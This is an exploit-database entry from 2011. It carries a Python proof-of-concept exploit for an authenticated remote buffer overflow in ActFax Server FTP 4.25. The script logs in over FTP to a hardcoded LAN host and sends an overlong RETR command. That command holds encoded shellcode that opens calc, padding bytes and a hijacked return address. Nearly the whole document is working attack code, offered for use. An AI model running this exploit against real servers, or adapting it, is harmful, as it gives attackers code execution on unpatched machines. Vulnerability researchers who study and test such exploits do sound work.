发布 2011-02-16 漏洞条目

ActFax Server FTP 4.25 Build 0221 (2010-02-11) – (Authenticated) Remote Buffer Overflow

Exploit Source

#!/usr/bin/python

# Exploit Title: ActFax Server FTP Remote BOF (post auth)

# Date: Feb 15, 2011

# Author: chap0

# Software Link: http://www.actfax.com/download/actfax_setup_en.exe

# Version: Version 4.25, Build 0221 (2010-02-11)

# Tested on: Windows XP SP3 en

# Big thanks to Sud0 - and an extra greetz to mr_me -RESPECT

# Stay true my friends

import socket

print "\nActFax Server FTP Remote BOF"

print " chap0 - www.seek-truth.net \n"

# pops calc

calccode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkXlqELKZL587Pep7PdoaxsSSQbLPcLMw5JXbpX8KwOcHBPwkON0A"

# push ebp #pop eax #sub eax,55555521 * 3 :)

junk = "\x55\x58\x2D\x21\x55\x55\x55\x2D\x21\x55\x55\x55\x2D\x21\x55\x55\x55" + "C"*135 + calccode + "A"*(616-len(calccode))

payload = junk + "\x37\x27\x40\x00" #RETN

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.1.2',21))

s.recv(1024)

s.send('USER ' + 'chapo\r\n')

print (s.recv(1024))

s.send('PASS chapo\r\n')

print (s.recv(1024))

s.send('RETR ' + payload + '\r\n')

s.close

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